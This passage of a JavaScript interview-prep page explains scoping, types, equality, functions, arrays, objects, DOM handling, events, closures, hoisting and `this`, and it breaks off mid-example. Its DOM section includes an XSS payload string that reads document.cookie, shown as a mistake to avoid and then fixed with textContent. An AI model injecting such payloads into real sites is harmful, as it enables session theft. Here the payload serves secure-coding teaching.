🌐 JavaScript Interview Questions
40 questions with theory, real code, real-world scenarios, common mistakes and follow-up questions — from basic to performance optimization.
var, let, and const are the three ways to declare variables in JavaScript. They differ in scope, hoisting behaviour, and re-assignability.
var is function-scoped — it's visible throughout the entire function, even before its declaration line (hoisted as undefined). let and const are block-scoped — they exist only inside the nearest { } block. Both are hoisted but land in a Temporal Dead Zone (TDZ) until the declaration is reached, so accessing them early throws a ReferenceError.
const prevents re-assignment of the binding (you can't do const x = 1; x = 2;), but if the value is an object or array, its contents can still be mutated. let allows re-assignment.
Modern rule: default to const, use let when you need to re-assign, avoid var entirely.
// ── var: function-scoped, hoisted as undefined ──
function varExample() {
console.log(x); // undefined (hoisted, but not yet assigned)
var x = 10;
console.log(x); // 10
if (true) {
var x = 99; // same variable — var ignores block scope
}
console.log(x); // 99 (overwritten!)
}
// ── let: block-scoped, TDZ ──
function letExample() {
// console.log(y); // ReferenceError: Cannot access 'y' before initialization
let y = 10;
if (true) {
let y = 99; // different variable — block-scoped
console.log(y); // 99
}
console.log(y); // 10 (unchanged)
}
// ── const: block-scoped, no re-assignment ──
const API_URL = "https://api.example.com/v2";
// API_URL = "new-url"; // TypeError: Assignment to constant variable
// But object properties CAN be mutated:
const config = { retries: 3, timeout: 5000 };
config.retries = 5; // ✅ allowed — mutating property
// config = {}; // ❌ TypeError — re-assigning binding
// Practical: loop variable with var vs let
for (var i = 0; i < 3; i++) {
setTimeout(() => console.log("var i:", i), 100); // 3, 3, 3
}
for (let j = 0; j < 3; j++) {
setTimeout(() => console.log("let j:", j), 100); // 0, 1, 2
}
A team migrated a 50K-line legacy codebase from var to let/const using ESLint's no-var rule. They found 23 bugs caused by var's function scoping — variables leaking out of if-blocks and for-loops. After the migration, they saw zero scope-related bugs in the next 6 months.
Candidates say "const makes a value immutable" — wrong. const prevents re-assignment, not mutation. Object properties and array elements can still be changed:
const user = { name: "Alice" };
// "This will throw an error":
user.name = "Bob"; // Actually works fine!const user = { name: "Alice" };
user.name = "Bob"; // ✅ OK — mutating property
// user = {}; // ❌ TypeError — re-assigning binding
// Use Object.freeze(user) for true immutabilityWhat is the Temporal Dead Zone (TDZ) and why does it exist?
JavaScript has 7 primitive types and 1 non-primitive type (Object). Primitives are immutable and compared by value; objects are mutable and compared by reference.
The 7 primitives: string, number, boolean, null, undefined, symbol (ES6), and bigint (ES2020).
number is always a 64-bit float (IEEE 754) — there's no separate integer type. This means 0.1 + 0.2 !== 0.3 due to floating-point precision. bigint handles arbitrarily large integers (e.g., 9007199254740993n).
null means "intentionally empty" while undefined means "not yet assigned." typeof null returns "object" — this is a famous JavaScript bug from 1995 that can never be fixed without breaking the web.
// ── The 7 primitives ──
const str = "hello"; // string
const num = 42; // number (always 64-bit float)
const bool = true; // boolean
const nothing = null; // null (intentional absence)
let notSet; // undefined (not assigned)
const sym = Symbol("id"); // symbol (unique identifier)
const big = 9007199254740993n; // bigint (arbitrary precision)
// ── typeof checks ──
console.log(typeof str); // "string"
console.log(typeof num); // "number"
console.log(typeof bool); // "boolean"
console.log(typeof nothing); // "object" ← famous JS bug!
console.log(typeof notSet); // "undefined"
console.log(typeof sym); // "symbol"
console.log(typeof big); // "bigint"
// ── Primitives are immutable & compared by value ──
let a = "hello";
let b = "hello";
console.log(a === b); // true (same value)
// ── Objects are compared by reference ──
let obj1 = { x: 1 };
let obj2 = { x: 1 };
console.log(obj1 === obj2); // false (different references)
// ── Floating-point precision issue ──
console.log(0.1 + 0.2); // 0.30000000000000004
console.log(0.1 + 0.2 === 0.3); // false!
// Fix: compare with tolerance
console.log(Math.abs(0.1 + 0.2 - 0.3) < Number.EPSILON); // true
// ── BigInt for large numbers ──
console.log(Number.MAX_SAFE_INTEGER); // 9007199254740991
console.log(9007199254740991 + 2); // 9007199254740992 (wrong!)
console.log(9007199254740991n + 2n); // 9007199254740993n (correct!)
A fintech startup's payment system silently corrupted transaction IDs above 2^53 because JavaScript's Number type loses precision for large integers. Switching to BigInt for IDs and using JSON.parse with a reviver function fixed 340+ phantom "duplicate transaction" errors per week.
Candidates forget that typeof null returns "object" and try to check for null with typeof:
function process(value) {
if (typeof value === "object") {
return value.name; // TypeError if value is null!
}
}function process(value) {
if (value !== null && typeof value === "object") {
return value.name; // safe
}
}What is the difference between null and undefined? When do you use each?
=== (strict equality) compares value and type — no conversion. == (loose equality) converts types before comparing using the Abstract Equality Algorithm, which has unintuitive rules.
With ==: null == undefined is true, "" == 0 is true, "0" == false is true, and [] == false is true. These conversions cause real bugs.
The only valid use of == is checking value == null (which catches both null and undefined in one check). Everything else should use ===.
// ── Strict equality (===) — no type conversion ──
console.log(1 === 1); // true
console.log(1 === "1"); // false (number vs string)
console.log(true === 1); // false (boolean vs number)
console.log(null === undefined); // false (different types)
// ── Loose equality (==) — type coercion happens ──
console.log(1 == "1"); // true (string → number)
console.log(true == 1); // true (boolean → number)
console.log("" == 0); // true (string → number → 0)
console.log(null == undefined); // true (special rule)
console.log("0" == false); // true (both → 0)
// ── The confusing cases ──
console.log([] == false); // true ([] → "" → 0, false → 0)
console.log([] == ![]); // true! ([] → 0, ![] → false → 0)
console.log("" == false); // true (both coerce to 0)
console.log(" " == false); // true (" " → 0)
// ── Only valid use of == : null check ──
function greet(name) {
// Catches both null AND undefined in one check
if (name == null) {
return "Hello, stranger!";
}
return `Hello, ${name}!`;
}
console.log(greet(null)); // "Hello, stranger!"
console.log(greet(undefined)); // "Hello, stranger!"
console.log(greet("Alice")); // "Hello, Alice!"
// ── Object comparison: always by reference ──
const a = { x: 1 };
const b = { x: 1 };
console.log(a === b); // false (different objects in memory)
console.log(a === a); // true (same reference)
A healthcare app used == to compare patient IDs (some stored as strings, some as numbers). The bug: patient ID "007" matched patient 7 due to type coercion, causing two patients' records to merge. Switching to === and normalizing types fixed the issue.
Candidates say "always use ===" without mentioning the null check exception, or they can't explain why [] == false is true:
// "[] == false because arrays are falsy"
// Wrong! [] is truthy. The coercion is:
// [] → "" → 0, false → 0, so 0 == 0 → true// [] == false
// Step 1: [].toString() → "" (ToPrimitive)
// Step 2: Number("") → 0 (ToNumber)
// Step 3: Number(false) → 0 (ToNumber)
// Step 4: 0 === 0 → true
// Note: [] is truthy! if ([]) { ... } executes.What is Object.is() and how does it differ from ===?
JavaScript has three main ways to define functions: function declarations, function expressions, and arrow functions.
Function declarations are hoisted — you can call them before the line they're defined on. Function expressions (assigned to a variable) are NOT hoisted — calling before the assignment throws an error.
Arrow functions (=>) are a concise syntax introduced in ES6. The key difference: arrows don't have their own this — they inherit this from the surrounding scope (lexical this). This makes them ideal for callbacks but unsuitable for object methods or constructors.
All functions in JavaScript are first-class citizens — they can be passed as arguments, returned from other functions, and assigned to variables.
// ── Function Declaration (hoisted) ──
console.log(add(2, 3)); // 5 — works before declaration!
function add(a, b) {
return a + b;
}
// ── Function Expression (NOT hoisted) ──
// console.log(multiply(2, 3)); // TypeError: multiply is not a function
const multiply = function(a, b) {
return a * b;
};
console.log(multiply(2, 3)); // 6
// ── Arrow Function (concise, lexical this) ──
const divide = (a, b) => a / b; // implicit return for single expression
const square = x => x * x; // single param: no parens needed
const getUser = () => ({ name: "Alice", age: 30 }); // return object: wrap in ()
// ── Arrow vs regular: `this` binding ──
const timer = {
seconds: 0,
start() {
// Arrow inherits `this` from start() → timer object
setInterval(() => {
this.seconds++;
console.log(this.seconds);
}, 1000);
},
// BAD: arrow as method — `this` is outer scope (window/undefined)
// reset: () => { this.seconds = 0; } // `this` is NOT timer!
};
// ── Functions as first-class citizens ──
function applyOperation(a, b, operation) {
return operation(a, b);
}
console.log(applyOperation(10, 5, add)); // 15
console.log(applyOperation(10, 5, multiply)); // 50
console.log(applyOperation(10, 5, (a, b) => a % b)); // 0
// ── Default parameters ──
function createUser(name, role = "viewer", active = true) {
return { name, role, active };
}
console.log(createUser("Bob")); // { name: "Bob", role: "viewer", active: true }
console.log(createUser("Alice", "admin")); // { name: "Alice", role: "admin", active: true }
A React team had 15+ bugs from using arrow functions as class methods. The arrows inherited this from the module scope instead of the component instance, causing "Cannot read property setState of undefined" errors. Switching to regular methods with class fields syntax (handleClick = () => {}) fixed all of them.
Candidates use arrow functions everywhere without understanding this implications:
const counter = {
count: 0,
increment: () => {
this.count++; // `this` is NOT counter — it's the outer scope!
console.log(this.count); // NaN or error
}
};const counter = {
count: 0,
increment() {
this.count++; // `this` is counter ✅
console.log(this.count); // 1
}
};What are IIFEs (Immediately Invoked Function Expressions) and why were they used before ES6 modules?
JavaScript arrays are ordered, dynamic-length collections that can hold any mix of types. Under the hood, they're special objects with numeric keys and a length property.
Array methods fall into two categories: mutating (change the original array) and non-mutating (return a new array). Modern JavaScript favours non-mutating methods for predictability.
Key mutating methods: push(), pop(), shift(), unshift(), splice(), sort(), reverse(). Key non-mutating methods: map(), filter(), reduce(), find(), some(), every(), slice(), concat(), flat(), includes().
// ── Creating arrays ──
const fruits = ["apple", "banana", "cherry"];
const mixed = [1, "two", true, null, { key: "value" }];
const generated = Array.from({ length: 5 }, (_, i) => i * 2); // [0, 2, 4, 6, 8]
// ── Mutating methods (change original) ──
const stack = [1, 2, 3];
stack.push(4); // [1, 2, 3, 4] — add to end
stack.pop(); // [1, 2, 3] — remove from end
stack.unshift(0); // [0, 1, 2, 3] — add to start
stack.shift(); // [1, 2, 3] — remove from start
stack.splice(1, 1, 99); // [1, 99, 3] — remove 1 at index 1, insert 99
// ── Non-mutating methods (return new array) ──
const prices = [29.99, 9.99, 49.99, 14.99, 79.99];
const doubled = prices.map(p => p * 2);
// [59.98, 19.98, 99.98, 29.98, 159.98]
const cheap = prices.filter(p => p < 20);
// [9.99, 14.99]
const total = prices.reduce((sum, p) => sum + p, 0);
// 184.95
const found = prices.find(p => p > 40);
// 49.99
const hasExpensive = prices.some(p => p > 50);
// true
const allPositive = prices.every(p => p > 0);
// true
// ── Chaining methods ──
const orders = [
{ product: "Laptop", price: 999, qty: 1 },
{ product: "Mouse", price: 25, qty: 3 },
{ product: "Monitor", price: 450, qty: 1 },
{ product: "Cable", price: 12, qty: 5 },
];
const expensiveTotal = orders
.filter(o => o.price > 100) // keep expensive items
.map(o => ({ ...o, total: o.price * o.qty })) // add total field
.reduce((sum, o) => sum + o.total, 0); // sum totals
console.log(expensiveTotal); // 1449
// ── Useful newer methods ──
console.log([1, [2, [3, [4]]]].flat(Infinity)); // [1, 2, 3, 4]
console.log(prices.includes(9.99)); // true
console.log(prices.findIndex(p => p > 40)); // 2
An e-commerce team replaced 200+ for-loops with map/filter/reduce chains across their checkout pipeline. Code readability improved so much that code review time dropped 40%, and they caught a long-standing bug where a for-loop was accidentally mutating the original cart array.
Candidates confuse map() with forEach() — they use map() without using the return value, wasting memory:
users.map(user => {
console.log(user.name); // return value ignored!
}); // creates and discards a new array of undefined// Side effects → forEach
users.forEach(user => console.log(user.name));
// Transformation → map
const names = users.map(user => user.name);What is the difference between for...of and for...in when iterating arrays?
Objects are unordered collections of key-value pairs (properties). Keys are always strings or Symbols; values can be anything. Objects are the foundation of JavaScript — arrays, functions, dates, and even errors are all objects.
You can create objects with object literals ({ }), new Object(), Object.create(), or class constructors. Object literals are by far the most common.
Property access: dot notation (obj.key) for known keys, bracket notation (obj["key"]) for dynamic or special-character keys. ES6 added shorthand properties, computed properties, and method shorthand.
// ── Object literal ──
const user = {
name: "Alice",
age: 30,
email: "alice@example.com",
isActive: true,
greet() { // method shorthand
return `Hi, I'm ${this.name}`;
}
};
// ── Property access ──
console.log(user.name); // "Alice" (dot notation)
console.log(user["email"]); // "alice@example.com" (bracket)
const key = "age";
console.log(user[key]); // 30 (dynamic key — bracket only)
// ── Adding / deleting properties ──
user.role = "admin"; // add
delete user.isActive; // delete
// ── ES6 shorthand ──
const name = "Bob";
const age = 25;
const shorthand = { name, age }; // { name: "Bob", age: 25 }
// ── Computed property names ──
const field = "score";
const dynamic = { [field]: 100, [`${field}Label`]: "Points" };
// { score: 100, scoreLabel: "Points" }
// ── Object destructuring ──
const { name: userName, age: userAge, role = "viewer" } = user;
console.log(userName, userAge, role); // "Alice" 30 "admin"
// ── Useful Object methods ──
console.log(Object.keys(user)); // ["name", "age", "email", "role", "greet"]
console.log(Object.values(user)); // ["Alice", 30, "alice@example.com", "admin", ƒ]
console.log(Object.entries(user)); // [["name","Alice"], ["age",30], ...]
// ── Checking properties ──
console.log("name" in user); // true
console.log(user.hasOwnProperty("name")); // true
// ── Merging objects ──
const defaults = { theme: "dark", lang: "en", notifications: true };
const prefs = { theme: "light", lang: "es" };
const merged = { ...defaults, ...prefs };
// { theme: "light", lang: "es", notifications: true }
// ── Optional chaining (ES2020) ──
const response = { data: { user: { address: null } } };
console.log(response?.data?.user?.address?.city); // undefined (no error)
A SaaS dashboard used Object.entries() with destructuring to dynamically generate filter UI from an API response — each key became a filter name, each value became the options. This replaced 300 lines of hardcoded switch-case logic with 15 lines of dynamic rendering.
Candidates forget that object comparison is by reference, not by value:
const a = { x: 1 };
const b = { x: 1 };
if (a === b) { /* never executes */ }
// a === b is false — different references!// Option 1: JSON (works for simple objects)
JSON.stringify(a) === JSON.stringify(b); // true
// Option 2: compare specific fields
a.x === b.x; // true
// Option 3: deep equality library (lodash)
_.isEqual(a, b); // trueWhat is the difference between Object.freeze(), Object.seal(), and Object.preventExtensions()?
The DOM (Document Object Model) is a tree-structured API that represents an HTML document as JavaScript objects. Each HTML element becomes a node in the tree. JavaScript can read, modify, add, or remove nodes to change what the user sees.
The browser parses HTML into the DOM tree, and any change to the DOM triggers a re-render of the affected part of the page. This is why excessive DOM manipulation is slow — each change can trigger reflow (layout recalculation) and repaint.
Modern frameworks (React, Vue) abstract away direct DOM manipulation with a Virtual DOM, but understanding the real DOM is essential for debugging, performance optimization, and vanilla JS work.
// ── Selecting elements ──
const heading = document.getElementById("main-title");
const buttons = document.querySelectorAll(".btn"); // NodeList
const firstBtn = document.querySelector(".btn"); // first match
const nav = document.getElementsByClassName("nav-link"); // HTMLCollection
// ── Reading & modifying content ──
heading.textContent = "Updated Title"; // text only (safe from XSS)
heading.innerHTML = "<em>Updated</em> Title"; // parses HTML (XSS risk!)
// ── Modifying styles ──
heading.style.color = "#4f46e5";
heading.style.fontSize = "2rem";
// Better: toggle CSS classes
heading.classList.add("highlight");
heading.classList.remove("old-style");
heading.classList.toggle("active");
// ── Modifying attributes ──
const link = document.querySelector("a");
link.setAttribute("href", "https://example.com");
link.setAttribute("target", "_blank");
link.getAttribute("href"); // "https://example.com"
// ── Creating & inserting elements ──
const card = document.createElement("div");
card.className = "product-card";
card.innerHTML = `
<h3>New Product</h3>
<p>$29.99</p>
`;
document.querySelector(".product-grid").appendChild(card);
// ── Removing elements ──
const oldBanner = document.querySelector(".promo-banner");
oldBanner.remove(); // modern way
// oldBanner.parentNode.removeChild(oldBanner); // legacy way
// ── Efficient batch updates with DocumentFragment ──
const fragment = document.createDocumentFragment();
for (let i = 0; i < 100; i++) {
const li = document.createElement("li");
li.textContent = `Item ${i + 1}`;
fragment.appendChild(li); // no reflow per item
}
document.querySelector("ul").appendChild(fragment); // single reflow
A news site appended 50 DOM elements one-by-one in a loop on every scroll event, causing severe jank (dropped from 60fps to 8fps). Switching to DocumentFragment for batch insertion and using requestAnimationFrame for scroll handling restored smooth 60fps scrolling.
Candidates use innerHTML to insert user-generated content, creating XSS vulnerabilities:
const userInput = '<img src=x onerror="alert(document.cookie)">';
div.innerHTML = userInput; // executes malicious script!const userInput = '<img src=x onerror="alert(document.cookie)">';
div.textContent = userInput; // displays as plain text, no executionWhat is the difference between the DOM and the Virtual DOM? Why do frameworks use a Virtual DOM?
Events are signals that something happened — a click, keypress, scroll, form submission, etc. JavaScript handles events using the Observer pattern: you register a listener function that runs when a specific event occurs on a specific element.
Events propagate in three phases: Capturing (top → target), Target (the element itself), and Bubbling (target → top). By default, listeners fire during the bubbling phase. You can listen during capturing by passing { capture: true }.
Event delegation is a pattern where you attach ONE listener to a parent element instead of many listeners on child elements. It works because of bubbling — clicks on children bubble up to the parent. This is more memory-efficient and handles dynamically added elements automatically.
// ── addEventListener ──
const button = document.querySelector("#submit-btn");
button.addEventListener("click", function(event) {
console.log("Button clicked!");
console.log("Target:", event.target); // element that was clicked
console.log("Current:", event.currentTarget); // element with listener
});
// ── Removing a listener (must use named function) ──
function handleClick(e) {
console.log("Clicked:", e.target.textContent);
}
button.addEventListener("click", handleClick);
button.removeEventListener("click", handleClick);
// ── Event bubbling ──
// <div id="parent"><button id="child">Click</button></div>
document.getElementById("parent").addEventListener("click", () => {
console.log("Parent clicked"); // fires AFTER child (bubbling)
});
document.getElementById("child").addEventListener("click", () => {
console.log("Child clicked"); // fires first (target phase)
});
// Click child → "Child clicked" → "Parent clicked"
// ── Stop propagation ──
document.getElementById("child").addEventListener("click", (e) => {
e.stopPropagation(); // parent listener will NOT fire
console.log("Only child handles this");
});
// ── Event delegation (efficient pattern) ──
// Instead of adding listeners to each <li>:
document.querySelector("ul.todo-list").addEventListener("click", (e) => {
const li = e.target.closest("li"); // find the clicked <li>
if (!li) return; // clicked outside any <li>
if (e.target.matches(".delete-btn")) {
li.remove(); // delete this item
} else if (e.target.matches(".toggle-btn")) {
li.classList.toggle("completed"); // toggle done state
}
});
// Works for dynamically added <li> elements too!
// ── Prevent default ──
document.querySelector("form").addEventListener("submit", (e) => {
e.preventDefault(); // stop form from reloading the page
const data = new FormData(e.target);
fetch("/api/submit", { method: "POST", body: data });
});
A dashboard with 500+ table rows had individual click listeners on each row, causing 2MB of memory overhead and 300ms initialization time. Switching to a single event delegation listener on the <table> reduced memory usage by 95% and made initialization instant — plus it automatically handled new rows added via AJAX.
Candidates add individual listeners in a loop instead of using event delegation:
document.querySelectorAll("li").forEach(li => {
li.addEventListener("click", () => {
li.classList.toggle("done");
});
}); // 1000 items = 1000 listeners! Doesn't work for new items.document.querySelector("ul").addEventListener("click", (e) => {
const li = e.target.closest("li");
if (li) li.classList.toggle("done");
}); // 1 listener for all items, including future ones.What is the difference between event.target and event.currentTarget?
Template literals (backtick strings `...`) allow embedded expressions, multi-line strings, and tagged templates. They replace messy string concatenation with clean ${expression} syntax.
Destructuring extracts values from arrays or properties from objects into individual variables in a single statement. It works with defaults, renaming, nested structures, and rest elements.
Both are ES6 features that dramatically improve code readability. They're used everywhere in modern JavaScript — React components, API responses, function parameters, and configuration objects.
// ── Template literals ──
const name = "Alice";
const age = 30;
// Old way (concatenation)
const old = "Hello, " + name + "! You are " + age + " years old.";
// Template literal
const msg = `Hello, ${name}! You are ${age} years old.`;
// Multi-line
const html = `
<div class="card">
<h2>${name}</h2>
<p>Age: ${age}</p>
<p>Status: ${age >= 18 ? "Adult" : "Minor"}</p>
</div>
`;
// Expressions inside ${}
console.log(`Total: $${(29.99 * 3).toFixed(2)}`); // "Total: $89.97"
console.log(`${name.toUpperCase()} joined ${new Date().getFullYear()}`);
// Tagged template (for escaping, i18n, CSS-in-JS)
function highlight(strings, ...values) {
return strings.reduce((result, str, i) => {
return result + str + (values[i] ? `<mark>${values[i]}</mark>` : "");
}, "");
}
const output = highlight`Hello ${name}, you scored ${95}!`;
// "Hello <mark>Alice</mark>, you scored <mark>95</mark>!"
// ── Object destructuring ──
const user = { name: "Bob", age: 25, email: "bob@example.com", role: "admin" };
const { name: userName, email, role = "viewer" } = user;
// userName = "Bob", email = "bob@example.com", role = "admin"
// Nested destructuring
const response = {
data: { users: [{ id: 1, name: "Alice" }], total: 100 },
status: 200
};
const { data: { users: [firstUser], total }, status } = response;
// firstUser = { id: 1, name: "Alice" }, total = 100, status = 200
// ── Array destructuring ──
const [first, second, ...rest] = [10, 20, 30, 40, 50];
// first = 10, second = 20, rest = [30, 40, 50]
// Swap variables without temp
let a = 1, b = 2;
[a, b] = [b, a]; // a = 2, b = 1
// ── Function parameter destructuring ──
function createUser({ name, role = "viewer", active = true }) {
return { name, role, active, createdAt: new Date() };
}
const newUser = createUser({ name: "Charlie", role: "editor" });
A team replaced 400+ string concatenation calls with template literals during a code modernization sprint. The codebase became significantly more readable, and they found 12 bugs where concatenation had incorrect spacing or missing separators that were invisible in the old syntax.
Candidates forget to provide defaults when destructuring potentially missing properties:
function render({ user: { name, address: { city } } }) {
return `${name} from ${city}`;
}
render({ user: { name: "Alice" } }); // TypeError: Cannot destructure 'city'function render({ user: { name, address: { city } = {} } = {} }) {
return `${name} from ${city ?? "Unknown"}`;
}
render({ user: { name: "Alice" } }); // "Alice from Unknown"What are tagged template literals and how are they used in libraries like styled-components?
typeof returns a string indicating the type of a value. It has some well-known quirks: typeof null === "object" (historical bug), typeof NaN === "number" (NaN is technically a number), and typeof function === "function" (functions get their own type even though they're objects).
Type coercion is JavaScript's automatic type conversion. It happens with operators (+, -, ==), boolean contexts (if, &&, ||), and some methods. The + operator prefers string concatenation (one string operand → everything becomes a string), while -, *, / always convert to numbers.
Falsy values: false, 0, -0, "", null, undefined, NaN. Everything else is truthy — including [], {}, and "0".
// ── typeof results ──
console.log(typeof 42); // "number"
console.log(typeof "hello"); // "string"
console.log(typeof true); // "boolean"
console.log(typeof undefined); // "undefined"
console.log(typeof null); // "object" ← bug!
console.log(typeof [1, 2]); // "object" ← arrays are objects
console.log(typeof {}); // "object"
console.log(typeof function(){}); // "function"
console.log(typeof Symbol()); // "symbol"
console.log(typeof 42n); // "bigint"
console.log(typeof NaN); // "number" ← NaN is a number!
// ── Better type checking ──
Array.isArray([1, 2]); // true
Number.isNaN(NaN); // true (not global isNaN!)
value === null; // check null explicitly
Object.prototype.toString.call([1, 2]); // "[object Array]"
// ── String coercion (+ operator) ──
console.log("5" + 3); // "53" (number → string)
console.log("5" + true); // "5true"
console.log("5" + null); // "5null"
// ── Number coercion (-, *, / operators) ──
console.log("5" - 3); // 2 (string → number)
console.log("5" * "3"); // 15
console.log(true + 1); // 2 (true → 1)
console.log(false + 1); // 1 (false → 0)
console.log(null + 1); // 1 (null → 0)
// ── Falsy vs truthy ──
const falsy = [false, 0, -0, "", null, undefined, NaN];
const truthy = [true, 1, -1, " ", "0", [], {}, function(){}];
// Common gotcha: "0" is truthy!
if ("0") console.log("'0' is truthy!"); // prints!
if ([]) console.log("[] is truthy!"); // prints!
// ── Explicit conversion (preferred) ──
Number("42"); // 42
String(42); // "42"
Boolean(0); // false
Boolean("hello"); // true
parseInt("42px"); // 42 (stops at non-digit)
parseFloat("3.14em"); // 3.14
// ── Nullish coalescing (??) vs OR (||) ──
const count = 0;
console.log(count || 10); // 10 (0 is falsy — wrong!)
console.log(count ?? 10); // 0 (?? only checks null/undefined — correct!)
A form validation library used || for defaults: const age = input || 18. Users who entered 0 (newborns in a medical app) got silently overwritten to 18. Switching to ?? (nullish coalescing) fixed the issue — 0 ?? 18 correctly returns 0.
Candidates use the global isNaN() instead of Number.isNaN():
isNaN("hello"); // true (coerces "hello" to NaN, then checks)
isNaN(undefined); // true (coerces to NaN)
isNaN({}); // true (coerces to NaN)
// These aren't NaN — they're just not numbers!Number.isNaN("hello"); // false (string, not NaN)
Number.isNaN(undefined); // false (undefined, not NaN)
Number.isNaN(NaN); // true (actually NaN)
Number.isNaN(0 / 0); // true (produces NaN)What is the difference between Number() and parseInt()? When would you use each?
A closure is a function that "remembers" the variables from its outer (enclosing) scope even after that outer function has finished executing. Every function in JavaScript forms a closure, but the term is most useful when an inner function outlives its parent.
Technically, a closure is the combination of a function and its lexical environment (the variables that were in scope when the function was created). The JavaScript engine keeps those outer variables alive in memory as long as the inner function exists.
Closures power many JavaScript patterns: data privacy, factories, partial application, memoization, and module patterns. They're also the reason callbacks and event handlers can access surrounding variables.
// ── Basic closure ──
function createCounter() {
let count = 0; // private variable — not accessible from outside
return {
increment: () => ++count,
decrement: () => --count,
getCount: () => count,
};
}
const counter = createCounter();
console.log(counter.increment()); // 1
console.log(counter.increment()); // 2
console.log(counter.decrement()); // 1
console.log(counter.getCount()); // 1
// console.log(count); // ReferenceError — count is private!
// ── Closure for data privacy (module pattern) ──
function createBankAccount(initialBalance) {
let balance = initialBalance; // private
const transactions = []; // private
return {
deposit(amount) {
if (amount <= 0) throw new Error("Amount must be positive");
balance += amount;
transactions.push({ type: "deposit", amount, date: new Date() });
return balance;
},
withdraw(amount) {
if (amount > balance) throw new Error("Insufficient funds");
balance -= amount;
transactions.push({ type: "withdrawal", amount, date: new Date() });
return balance;
},
getBalance: () => balance,
getStatement: () => [...transactions], // return copy, not reference
};
}
const account = createBankAccount(1000);
account.deposit(500); // 1500
account.withdraw(200); // 1300
// account.balance = 999999; // does nothing — balance is private
// ── Closure in loops (the classic interview question) ──
// Problem: var + setTimeout
for (var i = 0; i < 3; i++) {
setTimeout(() => console.log("var:", i), 100); // 3, 3, 3
}
// Fix 1: IIFE creates a new closure per iteration
for (var i = 0; i < 3; i++) {
(function(j) {
setTimeout(() => console.log("IIFE:", j), 100); // 0, 1, 2
})(i);
}
// Fix 2: let creates block scope (modern, preferred)
for (let i = 0; i < 3; i++) {
setTimeout(() => console.log("let:", i), 100); // 0, 1, 2
}
// ── Partial application with closures ──
function multiply(a) {
return function(b) {
return a * b; // closure over `a`
};
}
const double = multiply(2);
const triple = multiply(3);
console.log(double(5)); // 10
console.log(triple(5)); // 15
A rate-limiting middleware used closures to track request counts per API key without any external state. Each API key got its own closure with a private counter and timestamp, handling 50K requests/sec without race conditions since each closure had isolated state.
Candidates describe closures as "a function inside a function" — that's incomplete. The key is that the inner function accesses variables from the outer scope after it has returned:
function outer() {
function inner() {
console.log("I'm nested!");
}
inner(); // not really using closure — inner doesn't outlive outer
}function outer() {
const secret = 42;
return function inner() {
return secret; // closure — accesses `secret` after outer() returns
};
}
const fn = outer(); // outer() is done
fn(); // 42 — secret is still accessible via closureCan closures cause memory leaks? How would you prevent them?
Hoisting is JavaScript's behaviour of moving declarations to the top of their scope during the compilation phase (before code runs). However, only the declarations are hoisted — not the initializations.
var declarations are hoisted and initialized to undefined. let and const declarations are hoisted but placed in a Temporal Dead Zone (TDZ) — accessing them before the declaration line throws a ReferenceError.
Function declarations are fully hoisted — both the name and the function body are available before the declaration. Function expressions and arrow functions assigned to variables follow the hoisting rules of their variable (var/let/const).
// ── var hoisting: initialized to undefined ──
console.log(x); // undefined (not ReferenceError)
var x = 10;
console.log(x); // 10
// What the engine actually does:
// var x = undefined; ← hoisted
// console.log(x); → undefined
// x = 10; ← assignment stays in place
// console.log(x); → 10
// ── let/const: hoisted but in Temporal Dead Zone ──
// console.log(y); // ReferenceError: Cannot access 'y' before initialization
let y = 20;
console.log(y); // 20
// TDZ exists from block start until declaration
{
// TDZ for `z` starts here
// console.log(z); // ReferenceError
const z = 30; // TDZ ends here
console.log(z); // 30
}
// ── Function declaration: fully hoisted ──
console.log(add(2, 3)); // 5 — works before declaration!
function add(a, b) {
return a + b;
}
// ── Function expression: NOT fully hoisted ──
// console.log(multiply(2, 3)); // TypeError: multiply is not a function
var multiply = function(a, b) {
return a * b;
};
// With var: multiply is hoisted as undefined, not as a function
// With let: ReferenceError (TDZ)
// ── Class declarations: hoisted but in TDZ (like let) ──
// const u = new User(); // ReferenceError
class User {
constructor(name) { this.name = name; }
}
const u = new User("Alice"); // works after declaration
// ── Real-world confusion: function declaration vs expression ──
// This works (declaration):
greetDecl("Alice"); // "Hello, Alice!"
function greetDecl(name) { return `Hello, ${name}!`; }
// This breaks (expression):
// greetExpr("Bob"); // TypeError or ReferenceError
const greetExpr = (name) => `Hello, ${name}!`;
A legacy Node.js project had 50+ functions in a single file, relying on function declaration hoisting to call functions before they were defined. When the team refactored to arrow functions (const fn = () => ...), half the file broke because arrow functions aren't hoisted. They learned to always define before use.
Candidates say "let and const are not hoisted" — they ARE hoisted, but they're in the Temporal Dead Zone until the declaration line:
// "let x is not hoisted, so it just doesn't exist yet"
// If it wasn't hoisted, this would look in the outer scope:
let x = "outer";
{
console.log(x); // ReferenceError, NOT "outer"
let x = "inner"; // proves x IS hoisted (shadows outer x)
}let x = "outer";
{
// `x` is hoisted here and shadows outer `x`
// But it's in TDZ until the `let x` line
// console.log(x); // ReferenceError (TDZ)
let x = "inner";
console.log(x); // "inner"
}What is the Temporal Dead Zone (TDZ) and why was it introduced?
this in JavaScript is determined by how a function is called, not where it's defined. This is different from most languages where this/self always refers to the instance.
5 rules determine this (in order of precedence): 1) new binding (constructor), 2) explicit binding (call/apply/bind), 3) implicit binding (method call: obj.method()), 4) default binding (standalone function: window in browser, undefined in strict mode), 5) arrow function (inherits from enclosing scope — lexical this).
Arrow functions are the exception: they don't have their own this — they capture this from the surrounding code at creation time. This makes them ideal for callbacks but wrong for object methods.
// ── 1. Default binding (standalone call) ──
function showThis() {
console.log(this);
}
showThis(); // window (browser) / global (Node) / undefined (strict mode)
// ── 2. Implicit binding (method call) ──
const user = {
name: "Alice",
greet() {
console.log(`Hi, I'm ${this.name}`);
}
};
user.greet(); // "Hi, I'm Alice" — `this` = user
// ── Lost implicit binding ──
const greetFn = user.greet; // extract method
greetFn(); // "Hi, I'm undefined" — `this` is now window/undefined!
// ── 3. Explicit binding (call, apply, bind) ──
function introduce(greeting, punctuation) {
console.log(`${greeting}, I'm ${this.name}${punctuation}`);
}
const bob = { name: "Bob" };
introduce.call(bob, "Hello", "!"); // "Hello, I'm Bob!"
introduce.apply(bob, ["Hey", "."]); // "Hey, I'm Bob."
const boundFn = introduce.bind(bob, "Hi");
boundFn("?"); // "Hi, I'm Bob?"
// bind returns a new function with `this` permanently set
// ── 4. new binding (constructor) ──
function Person(name) {
this.name = name; // `this` = newly created object
}
const alice = new Person("Alice");
console.log(alice.name); // "Alice"
// ── 5. Arrow function (lexical this) ──
const timer = {
seconds: 0,
start() {
// Arrow captures `this` from start() → timer object
setInterval(() => {
this.seconds++;
